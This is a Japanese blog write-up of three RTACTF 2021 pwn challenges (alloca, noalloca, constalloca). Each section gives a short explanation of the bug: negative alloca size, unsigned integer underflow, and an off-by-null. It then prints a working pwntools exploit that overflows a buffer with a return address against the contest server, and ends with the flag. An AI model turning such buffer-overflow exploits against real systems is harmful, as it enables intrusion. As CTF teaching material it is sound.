🙄

[Pwn] alloca | noalloca | constalloca - RTACTF

2021/12/19に公開約1,900字

はじめに

ptr-yudai先生が作問されているということで、参加しました。
遅れて参戦しても、解いた速さで順位が決まるのは新しくていいなと思いました。
alloca, noalloca, constallocaの全pwnを解いたので、そのwriteupです。
またGitHubにもあります。↓↓↓

https://github.com/yu1hpa/ctf-writeups/tree/master/2021/RTA

alloca

目標:480 sec
Can we use a variable for the size of a local array?
ローカル変数の配列のサイズに変数って使えるんですか?

alloca関数

void *alloca(size_t size );

この引数の型はsize_tなので、-1を指定してあげてsizeを増やします。

from pwn import *

io = remote("133.242.227.104", 9992)
#io = process("chall")
io.sendlineafter("size:", "-1")
io.sendlineafter("data:", b"A"*40 + p64(0x00000000004011b6))
io.interactive()

#RTACON{alloca_w0rks_d1ff3r3ntly_fr0m_malloc_f0r_n3g4t1v3_s1z3}

noalloca

目標:300 sec
Don't worry, I'm careful of buffer overflow.
大丈夫バッファオーバーフローには気を付けたから。
main関数

  scanf("%d%*c", &size);
  if (size > 0x80) {
    puts("*** buffer overflow ***");
    return 1;
  }

  /* Input data */
  printf("data: ");
  readn(buf, size-1);

readn関数

void readn(char *ptr, unsigned size) {
...
}

sizeに0を指定すると、size = -1になって、sizeはunsignedだからinteger overflowが発生します。

from pwn import *

io = remote("133.242.227.104", 9991)
io.sendlineafter("size:", "0")
io.sendlineafter("data:", b"A"*152 + p64(0x00000000004011d6))
io.interactive()

#RTACON{1nt3g3r_oOoOoOv3rfloOoOoOw}

constalloca

目標:600 sec
Calling alloca with a constant argument is secure. Wait, what is alloca for?
allocaの引数に定数を渡せば安全ですね。いや、何のためのallocaだよ。

ガチャガチャしていて、title:に長い文字列を入れたら落ちたので、「ほーん」ってなりながら、solverを書きました。

from pwn import *
#io = process("./chall")
io = remote("133.242.227.104", 9993)
io.sendlineafter("title: ", b"\x00"*32+p64(0x40101a)+p64(0x401196))
io.interactive()

#RTACON{0ff-by-nu11_Tr4g1c_:doge:}

さいごに

先に解いていた方々のTimeが出ていたのもあり、あまり緊張はしませんでしたが、リアルタイム参加していたらガチガチに緊張していたと思います。楽しかったです。運営の皆さん、ありがとうございました!

Discussion

ログインするとコメントできます